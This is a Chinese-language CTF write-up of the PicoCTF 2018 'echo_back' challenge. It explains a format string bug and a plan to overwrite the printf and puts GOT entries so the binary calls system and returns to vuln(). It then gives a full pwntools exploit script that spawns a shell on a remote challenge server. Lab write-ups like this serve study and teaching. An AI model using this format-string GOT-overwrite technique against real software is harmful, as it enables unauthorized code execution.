PicoCTF_2018_echo_back
例行检查:
开了部分relro,没开pie,
IDA分析:
函数主逻辑在vul()函数中:
先打印出一句话,然后让我们输入,大小控制在0x7f,然后很明显一个格式化字符串,然后下边直接puts完后,程序结束.
程序中存在system,并且没开pie,这里我们考虑直接改got表,我选择的是改printf()_got为system_plt,下边程序直接结束了,这里我们没办法去输入’/bin/sh\x00’触发system,但发现下边会调用puts()函数,这里我考虑将puts()函数的got表改为vuln()函数地址,调用puts()时就会再次返回到vuln(),再次输入即可get shell.
exp:
from pwn import *
def pwn():
vuln = 0x80485AB
system = 0x8048460
#gdb.attach(io)
io.recvuntil(':')
payload = p32(elf.got['printf'])
payload += p32(elf.got['printf']+1)
payload += p32(elf.got['printf']+2)
payload += p32(elf.got['printf']+3)
payload += p32(elf.got['puts'])
payload += p32(elf.got['puts']+1)
payload += p32(elf.got['puts']+2)
payload += p32(elf.got['puts']+3)
payload += '%64c'
payload += '%7$hhn'
payload += '%36c'
payload += '%8$hhn'
payload += '%128c'
payload += '%9$hhn'
payload += '%4c'
payload += '%10$hhn'
payload += '%163c'
payload += '%11$hhn'
payload += '%218c'
payload += '%12$hhn'
payload += '%127c'
payload += '%13$hhn'
payload += '%4c'
payload += '%14$hhn'
print len(payload)
io.sendline(payload)
io.sendline('/bin/sh\x00')
io.interactive()
debug = 1
if debug == 1:
elf = ELF('./PicoCTF_2018_echo_back')
io = remote('node4.buuoj.cn',26669)
#io = process('./PicoCTF_2018_echo_back')
libc = elf.libc
context(log_level='debug')
pwn()
else:
elf = ELF('./PicoCTF_2018_echo_back')
io = process('./PicoCTF_2018_echo_back')
libc = elf.libc
context(log_level='debug')
pwn()
喜提flag!!!